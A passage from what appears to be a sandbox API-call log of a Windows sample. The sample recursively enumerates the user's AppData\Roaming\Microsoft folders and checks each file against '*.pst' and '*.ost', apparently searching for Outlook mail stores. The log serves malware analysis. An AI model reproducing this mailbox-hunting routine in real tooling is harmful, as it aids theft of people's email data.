ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="1033", cAlternateFileName="")) returned 0 [0098.414] FindClose (in: hFindFile=0x71ea800 | out: hFindFile=0x71ea800) returned 1 [0098.414] FindNextFileW (in: hFindFile=0x71ea620, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 1 [0098.414] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.414] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed", pszFile="Document Themes" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes" [0098.414] PathCombineW (in: pszDest=0x6a1d6a0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*" [0098.414] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\*", lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea6e0 [0098.613] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.613] FindNextFileW (in: hFindFile=0x71ea6e0, lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.614] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.614] FindNextFileW (in: hFindFile=0x71ea6e0, lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="1033", cAlternateFileName="")) returned 1 [0098.614] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.614] PathCombineW (in: pszDest=0x6a1d6a0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes", pszFile="1033" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033" [0098.614] PathCombineW (in: pszDest=0x6a1d1c0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*" [0098.614] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\Managed\\Document Themes\\1033\\*", lpFindFileData=0x6a1cf70 | out: lpFindFileData=0x6a1cf70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea8c0 [0098.631] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.631] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1cf70 | out: lpFindFileData=0x6a1cf70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.631] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.631] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1cf70 | out: lpFindFileData=0x6a1cf70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0098.631] FindClose (in: hFindFile=0x71ea8c0 | out: hFindFile=0x71ea8c0) returned 1 [0098.631] FindNextFileW (in: hFindFile=0x71ea6e0, lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="1033", cAlternateFileName="")) returned 0 [0098.631] FindClose (in: hFindFile=0x71ea6e0 | out: hFindFile=0x71ea6e0) returned 1 [0098.631] FindNextFileW (in: hFindFile=0x71ea620, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 0 [0098.631] FindClose (in: hFindFile=0x71ea620 | out: hFindFile=0x71ea620) returned 1 [0098.631] FindNextFileW (in: hFindFile=0x71e9ae0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="User", cAlternateFileName="")) returned 1 [0098.631] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.631] PathCombineW (in: pszDest=0x6a1e060, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16", pszFile="User" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User" [0098.631] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*" [0098.631] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\*", lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName=".", cAlternateFileName="")) returned 0x71ea620 [0098.632] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.632] FindNextFileW (in: hFindFile=0x71ea620, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="..", cAlternateFileName="")) returned 1 [0098.632] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.632] FindNextFileW (in: hFindFile=0x71ea620, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 1 [0098.632] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.632] PathCombineW (in: pszDest=0x6a1db80, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User", pszFile="Document Themes" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes" [0098.632] PathCombineW (in: pszDest=0x6a1d6a0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*" [0098.632] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\*", lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea6e0 [0098.632] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.632] FindNextFileW (in: hFindFile=0x71ea6e0, lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.632] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.632] FindNextFileW (in: hFindFile=0x71ea6e0, lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="1033", cAlternateFileName="")) returned 1 [0098.632] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.632] PathCombineW (in: pszDest=0x6a1d6a0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes", pszFile="1033" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033" [0098.632] PathCombineW (in: pszDest=0x6a1d1c0, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*" [0098.632] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Templates\\LiveContent\\16\\User\\Document Themes\\1033\\*", lpFindFileData=0x6a1cf70 | out: lpFindFileData=0x6a1cf70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71ea8c0 [0098.632] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.633] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1cf70 | out: lpFindFileData=0x6a1cf70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.633] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.633] FindNextFileW (in: hFindFile=0x71ea8c0, lpFindFileData=0x6a1cf70 | out: lpFindFileData=0x6a1cf70*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 0 [0098.633] FindClose (in: hFindFile=0x71ea8c0 | out: hFindFile=0x71ea8c0) returned 1 [0098.633] FindNextFileW (in: hFindFile=0x71ea6e0, lpFindFileData=0x6a1d450 | out: lpFindFileData=0x6a1d450*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="1033", cAlternateFileName="")) returned 0 [0098.633] FindClose (in: hFindFile=0x71ea6e0 | out: hFindFile=0x71ea6e0) returned 1 [0098.633] FindNextFileW (in: hFindFile=0x71ea620, lpFindFileData=0x6a1d930 | out: lpFindFileData=0x6a1d930*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Document Themes", cAlternateFileName="DOCUME~1")) returned 0 [0098.633] FindClose (in: hFindFile=0x71ea620 | out: hFindFile=0x71ea620) returned 1 [0098.633] FindNextFileW (in: hFindFile=0x71e9ae0, lpFindFileData=0x6a1de10 | out: lpFindFileData=0x6a1de10*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xb22bbb90, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="User", cAlternateFileName="")) returned 0 [0098.633] FindClose (in: hFindFile=0x71e9ae0 | out: hFindFile=0x71e9ae0) returned 1 [0098.633] FindNextFileW (in: hFindFile=0x71e8ee0, lpFindFileData=0x6a1e2f0 | out: lpFindFileData=0x6a1e2f0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x51a77b10, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xb22bbb90, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0xb22bbb90, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="16", cAlternateFileName="")) returned 0 [0098.633] FindClose (in: hFindFile=0x71e8ee0 | out: hFindFile=0x71e8ee0) returned 1 [0098.633] FindNextFileW (in: hFindFile=0x71e8b80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdce3e3d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xdb77a80, ftLastAccessTime.dwHighDateTime=0x1d3ab1a, ftLastWriteTime.dwLowDateTime=0xdbe9ea0, ftLastWriteTime.dwHighDateTime=0x1d3ab1a, nFileSizeHigh=0x0, nFileSizeLow=0x495d, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 1 [0098.633] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.633] PathMatchSpecW (pszFile="Normal.dotm", pszSpec="*.pst") returned 0 [0098.633] PathMatchSpecW (pszFile="Normal.dotm", pszSpec="*.ost") returned 0 [0098.633] FindNextFileW (in: hFindFile=0x71e8b80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0xdce3e3d0, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0xdb77a80, ftLastAccessTime.dwHighDateTime=0x1d3ab1a, ftLastWriteTime.dwLowDateTime=0xdbe9ea0, ftLastWriteTime.dwHighDateTime=0x1d3ab1a, nFileSizeHigh=0x0, nFileSizeLow=0x495d, dwReserved0=0x0, dwReserved1=0x234120, cFileName="Normal.dotm", cAlternateFileName="NORMAL~1.DOT")) returned 0 [0098.633] FindClose (in: hFindFile=0x71e8b80 | out: hFindFile=0x71e8b80) returned 1 [0098.633] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x72887910, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x72887910, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x72887910, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="UProof", cAlternateFileName="")) returned 1 [0098.633] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.633] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="UProof" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\UProof") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\UProof" [0098.634] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\UProof", pszFile="*" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\UProof\\*") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\UProof\\*" [0098.634] FindFirstFileW (in: lpFileName="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\UProof\\*", lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x72887910, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x72887910, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x72887910, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName=".", cAlternateFileName="")) returned 0x71e8b80 [0098.634] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.634] FindNextFileW (in: hFindFile=0x71e8b80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x72887910, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x72887910, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x72887910, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x234120, cFileName="..", cAlternateFileName="")) returned 1 [0098.634] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.634] FindNextFileW (in: hFindFile=0x71e8b80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x72887910, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x72887910, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x72887910, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x16, dwReserved0=0x0, dwReserved1=0x234120, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 1 [0098.634] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.634] PathMatchSpecW (pszFile="CUSTOM.DIC", pszSpec="*.pst") returned 0 [0098.634] PathMatchSpecW (pszFile="CUSTOM.DIC", pszSpec="*.ost") returned 0 [0098.634] FindNextFileW (in: hFindFile=0x71e8b80, lpFindFileData=0x6a1e7d0 | out: lpFindFileData=0x6a1e7d0*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x72887910, ftCreationTime.dwHighDateTime=0x1d2f183, ftLastAccessTime.dwLowDateTime=0x72887910, ftLastAccessTime.dwHighDateTime=0x1d2f183, ftLastWriteTime.dwLowDateTime=0x72887910, ftLastWriteTime.dwHighDateTime=0x1d2f183, nFileSizeHigh=0x0, nFileSizeLow=0x16, dwReserved0=0x0, dwReserved1=0x234120, cFileName="CUSTOM.DIC", cAlternateFileName="")) returned 0 [0098.634] FindClose (in: hFindFile=0x71e8b80 | out: hFindFile=0x71e8b80) returned 1 [0098.634] FindNextFileW (in: hFindFile=0x72022f0, lpFindFileData=0x6a1ecb0 | out: lpFindFileData=0x6a1ecb0*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x2335d4a0, ftCreationTime.dwHighDateTime=0x1d2f180, ftLastAccessTime.dwLowDateTime=0x23383600, ftLastAccessTime.dwHighDateTime=0x1d2f180, ftLastWriteTime.dwLowDateTime=0xf96b9c4c, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x230230, cFileName="Windows", cAlternateFileName="")) returned 1 [0098.634] WaitForSingleObject (hHandle=0x11f0, dwMilliseconds=0x0) returned 0x102 [0098.634] PathCombineW (in: pszDest=0x6a1ef00, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft", pszFile="Windows" | out: pszDest="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows") returned="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows" [0098.634] PathCombineW (in: pszDest=0x6a1ea20, pszDir="C:\\Users\\aETAdzjz\\AppData\\Roaming\\Microsoft\\Windows", pszFile="*" | out: 